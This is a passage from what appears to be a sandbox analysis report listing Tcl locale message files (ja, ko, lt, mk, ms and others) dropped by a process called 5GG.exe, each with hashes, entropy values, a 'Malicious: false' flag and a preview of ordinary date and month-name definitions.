Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset it_CH DATE_FORMAT "%e. %B %Y".. ::msgcat::mcset it_CH TIME_FORMAT "%H:%M:%S".. ::msgcat::mcset it_CH DATE_TIME_FORMAT "%e. %B %Y %H:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ja.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	4.951012555106795
Encrypted:	false
SSDEEP:	24:4aR83Gl84OCtnbf3wvtMwvLv4GTwhvevTwSoXghGhD6h:43FULWttbdEVoES8gshD6h
MD5:	11FBE427747012444AEEAFD6134034A4
SHA1:	58C72C432053264EAE6335D6CC93C5FFA33C42B8
SHA-256:	2B6D15A191437F1B84FA7023E34153B61E6BF1DE1452EA921E9CCBBE5D4BEB1C
SHA-512:	4F993BDF5D50D6D9F7410C83D226FEF30BA8C989F9977A7025C36BE22CEECCD6C68CDD6AFC5C9CE3D700559C4EDC619042E14DD88EE7583B9D5AA66F0268FD23
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ja DAYS_OF_WEEK_ABBREV [list \.. "\u65e5"\.. "\u6708"\.. "\u706b"\.. "\u6c34"\.. "\u6728"\.. "\u91d1"\.. "\u571f"].. ::msgcat::mcset ja DAYS_OF_WEEK_FULL [list \.. "\u65e5\u66dc\u65e5"\.. "\u6708\u66dc\u65e5"\.. "\u706b\u66dc\u65e5"\.. "\u6c34\u66dc\u65e5"\.. "\u6728\u66dc\u65e5"\.. "\u91d1\u66dc\u65e5"\.. "\u571f\u66dc\u65e5"].. ::msgcat::mcset ja MONTHS_FULL [list \.. "1\u6708"\.. "2\u6708"\.. "3\u6708"\.. "4\u6708"\.. "5\u6708"\.. "6\u6708"\.. "7\u6708"\.. "8\u6708"\.. "9\u6708"\.. "10\u6708"\.. "11\u6708"\.. "12\u6708"].. ::msgcat::mcset ja BCE "\u7d00\u5143\u524d".. ::msgcat::mcset ja CE "\u897f\u66a6".. ::msgcat::mcset ja AM "\u5348\u524d".. ::msgcat::mcset ja PM "\u5348\u5f8c".. ::ms

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	4.097746630492712
Encrypted:	false
SSDEEP:	24:4aR83E7XIE/OWbjH3Tw2PzJrIsmZ5maAXaMHPB:43WlrraA/vB
MD5:	2F79804667D6F8C77BB188D59EF5F3DF
SHA1:	10950ECA798F24A7C405B3E18B559CCC0C056EC1
SHA-256:	96FF17F1CFF976E4E204D3616D1EFCED4D0F907C5E6A0F04B4536CB4AD1190C9
SHA-512:	1B8ADC3B7FF920F8F53A17BFCC7EA24A0F8E276A42E5C63F9880DAE9B74E12716DD12DB647A80A9D99294449146C643EC58A33B03681AA4FA26A5FBC508C248C
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kl DAYS_OF_WEEK_ABBREV [list \.. "sab"\.. "ata"\.. "mar"\.. "pin"\.. "sis"\.. "tal"\.. "arf"].. ::msgcat::mcset kl DAYS_OF_WEEK_FULL [list \.. "sabaat"\.. "ataasinngorneq"\.. "marlunngorneq"\.. "pingasunngorneq"\.. "sisamanngorneq"\.. "tallimanngorneq"\.. "arfininngorneq"].. ::msgcat::mcset kl MONTHS_ABBREV [list \.. "jan"\.. "feb"\.. "mar"\.. "apr"\.. "maj"\.. "jun"\.. "jul"\.. "aug"\.. "sep"\.. "okt"\.. "nov"\.. "dec"\.. ""].. ::msgcat::mcset kl MONTHS_FULL [list \.. "januari"\.. "februari"\.. "martsi"\.. "aprili"\.. "maji"\.. "juni"\.. "juli"\.. "augustusi"\.. "septemberi"\.. "oktoberi"\.. "novemberi"\.. "dece

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kl_gl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	4.882476709336307
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoEpb53FuoEpLE3vLjoEpLE3v6mjoEpba+3vnFDoAkvn:4EnLB383jF3Fyw3vxw3v6A/3v9dmn
MD5:	255830678C8724E65C05A7E020E68B5B
SHA1:	0AEA48AB0439C04F92B5CA9A3B5182718B7F116B
SHA-256:	3027CFE9EBD2172CEFC15C025786CAD47A6E2894BF0474AFC1B0C341E70202AA
SHA-512:	99039FFA7269DD136D1693121E261DB5586E86EC401D2B1EB8FB1D13A9A7F1E514D9FC941B838286B986C02ED281828ED67E59002D837E350A64F4832340516A
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kl_GL DATE_FORMAT "%d %b %Y".. ::msgcat::mcset kl_GL TIME_FORMAT "%T".. ::msgcat::mcset kl_GL TIME_FORMAT_12 "%T".. ::msgcat::mcset kl_GL DATE_TIME_FORMAT "%a %d %b %Y %T %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ko.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1621
Entropy (8bit):	4.612163420716489
Encrypted:	false
SSDEEP:	48:43fMlylslXlslxl1hVuqLGuqqntH4xUyw9:2fKYqVq3f
MD5:	CCB2C2254D3FA3025183DB7E010CAD66
SHA1:	510BBB6A9162F2EF908E6561CC714848C2EA74CA
SHA-256:	EF6FB319C398EEA79B3A951319F831F3B186D556565D17D738E5F9B4B77570F2
SHA-512:	A0264565899BD1B0783ADC0388F893CCE713ADB23BDD63907CF092A74ACB4F7D3BE09DA29801E9C11A7B08CB1706E3771C598ACED351A0FCCBF4EBBD7871148D
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ko DAYS_OF_WEEK_ABBREV [list \.. "\uc77c"\.. "\uc6d4"\.. "\ud654"\.. "\uc218"\.. "\ubaa9"\.. "\uae08"\.. "\ud1a0"].. ::msgcat::mcset ko DAYS_OF_WEEK_FULL [list \.. "\uc77c\uc694\uc77c"\.. "\uc6d4\uc694\uc77c"\.. "\ud654\uc694\uc77c"\.. "\uc218\uc694\uc77c"\.. "\ubaa9\uc694\uc77c"\.. "\uae08\uc694\uc77c"\.. "\ud1a0\uc694\uc77c"].. ::msgcat::mcset ko MONTHS_ABBREV [list \.. "1\uc6d4"\.. "2\uc6d4"\.. "3\uc6d4"\.. "4\uc6d4"\.. "5\uc6d4"\.. "6\uc6d4"\.. "7\uc6d4"\.. "8\uc6d4"\.. "9\uc6d4"\.. "10\uc6d4"\.. "11\uc6d4"\.. "12\uc6d4"\.. ""].. ::msgcat::mcset ko MONTHS_FULL [list \.. "1\uc6d4"\.. "2\uc6d4"\.. "3\uc6d4"\.. "4\uc6d4"\.. "5\uc6d4"\.. "6\uc6d4"\..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ko_kr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.058233326545794
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xo56SFZhjAo56m5Ys5o56TGMovBo56a/W3v6mfKo56TT+3+:4EnLB383g62vjV6m5Ysg6TG26a+3v6oo
MD5:	58CA45CE26AF8ECA729BA72898BB633D
SHA1:	CBBEDB7370890A1DB65080A359A9A5C164B525D5
SHA-256:	4CAC8FB43D290A63A4D3215F22228B358AB4FA174F08712DD6C5B64C5E485071
SHA-512:	48CCBD3F7B96D0998B6D1A1F8D7FE2B4B070BB5B8809FABE0A38209AEAF2E95E098292A5B9B5F0954E7729708A2173D32AAD70B6C0F336DB1E9BFA2968E6A56B
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ko_KR BCE "\uae30\uc6d0\uc804".. ::msgcat::mcset ko_KR CE "\uc11c\uae30".. ::msgcat::mcset ko_KR DATE_FORMAT "%Y.%m.%d".. ::msgcat::mcset ko_KR TIME_FORMAT_12 "%P %l:%M:%S".. ::msgcat::mcset ko_KR DATE_TIME_FORMAT "%Y.%m.%d %P %l:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kok.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1997
Entropy (8bit):	4.202940482570495
Encrypted:	false
SSDEEP:	24:4aR83cm48Vc7VczMmDNVcYVcR0prdSmS68FeDJVcYVcR0prdSmS68FeuT:4354a+0prjS68mq0prjS68pT
MD5:	67FA08F588A3B44D67E42EC1025013BC
SHA1:	6895FEF0476DE0349895DB052B335AC46636B23A
SHA-256:	9D215E31A39FED45B3657144E5F73C942E59E500036CE16B1FFF201FD6358595
SHA-512:	4C2708BD9DD98320D3133EEFFD19A8018F49A36AB8348DB7C0B0287ADB4C052D3EFAD3686C8E46E0520F3CE27F361978272BA8752EB04E5A7BC07780398480DB
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kok DAYS_OF_WEEK_FULL [list \.. "\u0906\u0926\u093f\u0924\u094d\u092f\u0935\u093e\u0930"\.. "\u0938\u094b\u092e\u0935\u093e\u0930"\.. "\u092e\u0902\u0917\u0933\u093e\u0930"\.. "\u092c\u0941\u0927\u0935\u093e\u0930"\.. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\.. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\.. "\u0936\u0928\u093f\u0935\u093e\u0930"].. ::msgcat::mcset kok MONTHS_ABBREV [list \.. "\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940"\.. "\u092b\u0947\u092c\u0943\u0935\u093e\u0930\u0940"\.. "\u092e\u093e\u0930\u094d\u091a"\.. "\u090f\u092a\u094d\u0930\u093f\u0932"\.. "\u092e\u0947"\.. "\u091c\u0942\u0928"\.. "\u091c\u0941\u0932\u0948"\.. "\u0913\u0917\u0938\u094d\u091f"\.. "\u0938\u0947\u092a\u094d\u091f\u0947\u0902\u092c\u0930"\.. "\u0913\u0915\u094d\

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kok_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	260
Entropy (8bit):	4.904340548436718
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xo5VsNv+IZo5VsU3v6ry/5o5VsNo+3v+6f6HyFvn:4EnLB383gVsNvlAVsU3v6ry/gVsNF3vj
MD5:	0AA20289A63BA3A14DCFED75EED980DE
SHA1:	2B76013593D886B0724D82849FD1840B20922902
SHA-256:	644F2B6D4BA27AF14891B781DEF60F708A9F18FC2F73566649B631A6DEA3EF09
SHA-512:	6E13E0DC8BFD2ABE0D04B0BC098C40972F088F8D3D6ACA00338B17473ABC6F69840A88EC0C965C493B4270DEC777A0EA2D762BC33044EFE7030E437604EE201B
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kok_IN DATE_FORMAT "%d %M %Y".. ::msgcat::mcset kok_IN TIME_FORMAT_12 "%I:%M:%S %P".. ::msgcat::mcset kok_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kw.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1013
Entropy (8bit):	4.060027087416375
Encrypted:	false
SSDEEP:	24:4aR83no1UwRlw4MAwBdc//3rpF6HFoot8:43vglHM7MTCHFs
MD5:	CCEC7B77DCA1F6A406311FC43EE57030
SHA1:	4ED329BB09A8F7C67F8984CD790E9B6819DE6F00
SHA-256:	EAB468AC5BF1833D4F8CD658789413D4A46CAD16B63FB9B906CFF6DC9EA26251
SHA-512:	4EFF6E49CC479A1BF0CEEAE256A1FAE7D4AE7D0ACE23CD87851471EC96BB5AF580C58A142E1B6CE72BC8B6BFF946A38801E681443B7DD9527A1DEB6E7EDD7D22
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kw DAYS_OF_WEEK_ABBREV [list \.. "Sul"\.. "Lun"\.. "Mth"\.. "Mhr"\.. "Yow"\.. "Gwe"\.. "Sad"].. ::msgcat::mcset kw DAYS_OF_WEEK_FULL [list \.. "De Sul"\.. "De Lun"\.. "De Merth"\.. "De Merher"\.. "De Yow"\.. "De Gwener"\.. "De Sadorn"].. ::msgcat::mcset kw MONTHS_ABBREV [list \.. "Gen"\.. "Whe"\.. "Mer"\.. "Ebr"\.. "Me"\.. "Evn"\.. "Gor"\.. "Est"\.. "Gwn"\.. "Hed"\.. "Du"\.. "Kev"\.. ""].. ::msgcat::mcset kw MONTHS_FULL [list \.. "Mys Genver"\.. "Mys Whevrel"\.. "Mys Merth"\.. "Mys Ebrel"\.. "Mys Me"\.. "Mys Evan"\.. "Mys Gortheren"\.. "Mye Est"\.. "Mys Gwyngala"\.. "Mys Hedra"\.. "Mys Du"\.. "Mys Kevardhu"\..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\kw_gb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.959913054070712
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoh6AvMoh633v6ay/5oh6Ao+3vR6HyFvn:4EnLB38346AvR633v6ay/46AF3voSVn
MD5:	18E8576F63B978F1AFEF15AC57B44FBF
SHA1:	D50EB90944FF81E3CBFF942B16C1874EB7EA2562
SHA-256:	EDAC14D929D1C6559EC46E9B460F8F44A189B78FB915F2D641104549CBD94188
SHA-512:	F3DE5EE77BB889DA1353F9C9A1811083AB28BBEE4B7D6C8782F38B1AE44CF77565371A0E18F7E2BACD7EF590BC1215CA3E41AF929A15F60B3E85F6099A4CF378
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset kw_GB DATE_FORMAT "%d %B %Y".. ::msgcat::mcset kw_GB TIME_FORMAT_12 "%l:%M:%S %P".. ::msgcat::mcset kw_GB DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\lt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1307
Entropy (8bit):	4.506235846178408
Encrypted:	false
SSDEEP:	24:4aR83iHYuAMLzHYCaNu3d3nT15T31FhAlDgK/YrDZ/6Qz2C9kGPCveksvc:43iHFnHuUd3/T3xM/+SQCC9kGPEekKc
MD5:	D4EC2E96995E0EB263F338DD16CC4F8D
SHA1:	7ED86175489B1AE3CA5C0E8D42969F951C895D6B
SHA-256:	855B652FCC8066BA45C7DC8DBFD3807D1B4759EA8D71C523567F47BF445D1DE6
SHA-512:	A55E0D759A22360FF6668CEFAFFB812BABB316C447ADDB1FD5CDBC06AE1DA2E891E09952D073164C013AD9BF4184614102E7ADA553EEEFB2BBA26208B79B277F
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset lt DAYS_OF_WEEK_ABBREV [list \.. "Sk"\.. "Pr"\.. "An"\.. "Tr"\.. "Kt"\.. "Pn"\.. "\u0160t"].. ::msgcat::mcset lt DAYS_OF_WEEK_FULL [list \.. "Sekmadienis"\.. "Pirmadienis"\.. "Antradienis"\.. "Tre\u010diadienis"\.. "Ketvirtadienis"\.. "Penktadienis"\.. "\u0160e\u0161tadienis"].. ::msgcat::mcset lt MONTHS_ABBREV [list \.. "Sau"\.. "Vas"\.. "Kov"\.. "Bal"\.. "Geg"\.. "Bir"\.. "Lie"\.. "Rgp"\.. "Rgs"\.. "Spa"\.. "Lap"\.. "Grd"\.. ""].. ::msgcat::mcset lt MONTHS_FULL [list \.. "Sausio"\.. "Vasario"\.. "Kovo"\.. "Baland\u017eio"\.. "Gegu\u017e\u0117s"\.. "Bir\u017eelio"\.. "Liepos"\.. "Rugpj\u016b\u010dio"\.. "Rugs\u0117jo"\.. "Spa

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\lv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1271
Entropy (8bit):	4.460631492946299
Encrypted:	false
SSDEEP:	24:4aR83Amshb4mZdA7nl9kMmfpK269rkbi5vWm0W9ARivirXsv05vkn:430bHA7XRr95QWQQgaKkn
MD5:	554ED2CAFD25F5F82DA54AE057F4BA98
SHA1:	E25CDF0F9C4B523B5B05408E7820F7B4F627D19E
SHA-256:	7E90D2008B220DB19C796C7107AD69D263B8AC8C7BDDFB879230699D978E9A0A
SHA-512:	612201CCD64A51EC943921196D8C74D8BCA3AB3E35B0C9E91AE7F3A6B36F4F255AA9ADB3A254EC03629B01BD221B0B3F8CC4DFBFAC1F1718775E81CAD188AA86
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset lv DAYS_OF_WEEK_ABBREV [list \.. "Sv"\.. "P"\.. "O"\.. "T"\.. "C"\.. "Pk"\.. "S"].. ::msgcat::mcset lv DAYS_OF_WEEK_FULL [list \.. "sv\u0113tdiena"\.. "pirmdiena"\.. "otrdiena"\.. "tre\u0161diena"\.. "ceturdien"\.. "piektdiena"\.. "sestdiena"].. ::msgcat::mcset lv MONTHS_ABBREV [list \.. "Jan"\.. "Feb"\.. "Mar"\.. "Apr"\.. "Maijs"\.. "J\u016bn"\.. "J\u016bl"\.. "Aug"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Dec"\.. ""].. ::msgcat::mcset lv MONTHS_FULL [list \.. "janv\u0101ris"\.. "febru\u0101ris"\.. "marts"\.. "apr\u012blis"\.. "maijs"\.. "j\u016bnijs"\.. "j\u016blijs"\.. "augusts"\.. "septembris"\.. "oktobris"\.. "novembris"\..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\mk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2157
Entropy (8bit):	4.299300188052441
Encrypted:	false
SSDEEP:	48:4389QMsGqdQfRQPjQmofqJp9sk5BstSpWQiQ3QJQ5QL39I0QRQTQ8Ql4J8W:2W8SMq+9sWINi2Kc9I0+gXF
MD5:	888014F13A82511ABEF99497A753BFC3
SHA1:	7F4231BEDE191370B37E8B917B6AD8829D15CA7D
SHA-256:	4C0EB07F0FCB36DD12A3F7EDD6531616611ABF62BF7705B5A37CC59098221D5D
SHA-512:	D748127CC615584901D35B6492EC566448B6C4DA6363858B5145921E9CD09490355CF4315F0F7A8542AA12790CD3432011A643A3A8F74B0119DB0DCE19FD68A4
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset mk DAYS_OF_WEEK_ABBREV [list \.. "\u043d\u0435\u0434."\.. "\u043f\u043e\u043d."\.. "\u0432\u0442."\.. "\u0441\u0440\u0435."\.. "\u0447\u0435\u0442."\.. "\u043f\u0435\u0442."\.. "\u0441\u0430\u0431."].. ::msgcat::mcset mk DAYS_OF_WEEK_FULL [list \.. "\u043d\u0435\u0434\u0435\u043b\u0430"\.. "\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\.. "\u0432\u0442\u043e\u0440\u043d\u0438\u043a"\.. "\u0441\u0440\u0435\u0434\u0430"\.. "\u0447\u0435\u0442\u0432\u0440\u0442\u043e\u043a"\.. "\u043f\u0435\u0442\u043e\u043a"\.. "\u0441\u0430\u0431\u043e\u0442\u0430"].. ::msgcat::mcset mk MONTHS_ABBREV [list \.. "\u0458\u0430\u043d."\.. "\u0444\u0435\u0432."\.. "\u043c\u0430\u0440."\.. "\u0430\u043f\u0440."\.. "\u043c\u0430\u0458."\.. "\u0458\u0443\u

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\mr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	4.220147808639664
Encrypted:	false
SSDEEP:	24:4aR833cXh48Vc7VczfVczPmzNVcYVcR0prdSmS68FezUVcYVcR0prdSmS68FeoV:43K4S+0prjS68Yh0prjS68nV
MD5:	07F99E0A05083B10F80A4D6867163B23
SHA1:	B6036C7DA8043E3401583D03831E7A4BF755D93D
SHA-256:	AE873BF5484EACBBE179913D43451BE53378FA701B5D81594D052266B8A09AF0
SHA-512:	3A032C81B8FBFEE6EB66C1538CBD16329A1B393E4684B4E9B3FBCDD6344CE8AD34FA699F76EF953B3EB597D8E253345F54C2E92E7A43611C721038BCC2471EA2
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset mr DAYS_OF_WEEK_FULL [list \.. "\u0930\u0935\u093f\u0935\u093e\u0930"\.. "\u0938\u094b\u092e\u0935\u093e\u0930"\.. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\.. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\.. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\.. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\.. "\u0936\u0928\u093f\u0935\u093e\u0930"].. ::msgcat::mcset mr MONTHS_ABBREV [list \.. "\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940"\.. "\u092b\u0947\u092c\u0943\u0935\u093e\u0930\u0940"\.. "\u092e\u093e\u0930\u094d\u091a"\.. "\u090f\u092a\u094d\u0930\u093f\u0932"\.. "\u092e\u0947"\.. "\u091c\u0942\u0928"\.. "\u091c\u0941\u0932\u0948"\.. "\u0913\u0917\u0938\u094d\u091f"\.. "\u0938\u0947\u092a\u094d\u091f\u0947\u0902\u092c\u0930"\.. "\u0913\u0915\u094d\u091f\u0

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\mr_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.89440333975705
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoGNv+IZoGU3v6ry/5oGNo+3v+6f6HyFvn:4EnLB383Zvlw3v6ry/ZF3vmSVn
MD5:	67368E8A5715860BABD44E54A168192F
SHA1:	7790D4B4B28FE5E38AB11CD037FFB826A8EB77FD
SHA-256:	B7B1D379355A1D278E13EF557A887A662E84FB6A9B62B8E19A27927926270EF9
SHA-512:	E95C90CFFA7CC4E61026FC328A4AA0BEE6A54A0061BA0B9459F9F0F4B008DD36F81BC9B8D8B964FA051FCEAB7FECE6D107CD456B3FD01A83B4900ECC3A0BCFA4
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset mr_IN DATE_FORMAT "%d %M %Y".. ::msgcat::mcset mr_IN TIME_FORMAT_12 "%I:%M:%S %P".. ::msgcat::mcset mr_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ms.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	957
Entropy (8bit):	4.018924167342869
Encrypted:	false
SSDEEP:	12:4EnLB383Zm/aufodZmt+JHEA7UVRosmAL/7Idzr43xRRosuL1PJHWZ6tHhHjv:4aR83ZsauSHJkA7umE/72UD21PJWZ0hT
MD5:	7E6A943B7D82404F61BDBD95682073CD
SHA1:	B96DBB1738F293D2842FDCEDF2DEF13004F77A8D
SHA-256:	970B2F3ECC04980FCC2F9531CA6CE2BF36BC12942CB614BF70313B4CB0508985
SHA-512:	12F5A5F7A170EE79D1F4398E96FF2DE84472027C5B5003DE7E86F46713E3F0997439E2EBA03FFB7DB611F0CE0E06EB149F5BD08ED2AA0409DB8348867487FFFD
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ms DAYS_OF_WEEK_ABBREV [list \.. "Aha"\.. "Isn"\.. "Sei"\.. "Rab"\.. "Kha"\.. "Jum"\.. "Sab"].. ::msgcat::mcset ms DAYS_OF_WEEK_FULL [list \.. "Ahad"\.. "Isnin"\.. "Selasa"\.. "Rahu"\.. "Khamis"\.. "Jumaat"\.. "Sabtu"].. ::msgcat::mcset ms MONTHS_ABBREV [list \.. "Jan"\.. "Feb"\.. "Mac"\.. "Apr"\.. "Mei"\.. "Jun"\.. "Jul"\.. "Ogos"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Dis"\.. ""].. ::msgcat::mcset ms MONTHS_FULL [list \.. "Januari"\.. "Februari"\.. "Mac"\.. "April"\.. "Mei"\.. "Jun"\.. "Julai"\.. "Ogos"\.. "September"\.. "Oktober"\.. "November"\.. "Disember"\.. ""]..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ms_my.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.818053174805798
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoChFfluoChF+3v6xyFjoCh++3vflm68vn:4EnLB383xPflwe3v6gZl3vflm6+n
MD5:	A02F11BE0DF920E63E7A3ACCE746E32D
SHA1:	4A8B1EF1A6F8A5FD022042D6E009A01E4B0FEBD3
SHA-256:	F5B859D8DD2A2B5F756E39B0DFEB26B95878D2F54BA3CE46C56F0F26CF2B554B
SHA-512:	5F9AF8C89F491CB4C158ED73EA4CF32E6A83CF44A94DA6FE1A962C58199BF2348530F3DEFA0C6F433BA3ADEF81AE9B3884F30CD7A841B159D52F9F21008B4F92
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ms_MY DATE_FORMAT "%A %d %b %Y".. ::msgcat::mcset ms_MY TIME_FORMAT_12 "%I:%M:%S %z".. ::msgcat::mcset ms_MY DATE_TIME_FORMAT "%A %d %b %Y %I:%M:%S %z %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\mt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	717
Entropy (8bit):	4.55153350337982
Encrypted:	false
SSDEEP:	12:4EnLB383VYmxWHWog4QUbxMmAMMiGZu+3v6ay/GK3vZsSVn:4aR83VYsxonQ2MmVVGRvjCGsvGSV
MD5:	D8BBEC2F8935054E6081BB5E4AE8F7E3
SHA1:	33FE6D51A284B8760BC6F442329B10374F506BDA
SHA-256:	7DBC4E82D82FDE8CDF522FA10E082289D46B0C1A4A7D7A5FA83FF116677F052B
SHA-512:	BF39C75DD6B3625897D7D44AC253AF5656CA21D0B394F78611584E2606CBC419C4A02353542D23393BEBCCF0CB4D861CDECD61AD89339F78C0260E966B495777
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset mt DAYS_OF_WEEK_ABBREV [list \.. "\u0126ad"\.. "Tne"\.. "Tli"\.. "Erb"\.. "\u0126am"\.. "\u0120im"].. ::msgcat::mcset mt MONTHS_ABBREV [list \.. "Jan"\.. "Fra"\.. "Mar"\.. "Apr"\.. "Mej"\.. "\u0120un"\.. "Lul"\.. "Awi"\.. "Set"\.. "Ott"\.. "Nov"].. ::msgcat::mcset mt BCE "QK".. ::msgcat::mcset mt CE "".. ::msgcat::mcset mt DATE_FORMAT "%A, %e ta %B, %Y".. ::msgcat::mcset mt TIME_FORMAT_12 "%l:%M:%S %P".. ::msgcat::mcset mt DATE_TIME_FORMAT "%A, %e ta %B, %Y %l:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\nb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	4.313626715960843
Encrypted:	false
SSDEEP:	24:4aR83B0tSYuZrIsmYmPAxyIQ4HU92W16EL3Tvav31:43qhuZrIPAt04yTcF
MD5:	42D02C3CAF28BE4994F27CEF5A183AB7
SHA1:	DC411E8AC12C3D588AB2F3A3C95A75D8689AD402
SHA-256:	534C5DACEF12F818FAF4ED806997A559F95D591F1B6236B0C30B07A107DD13F3
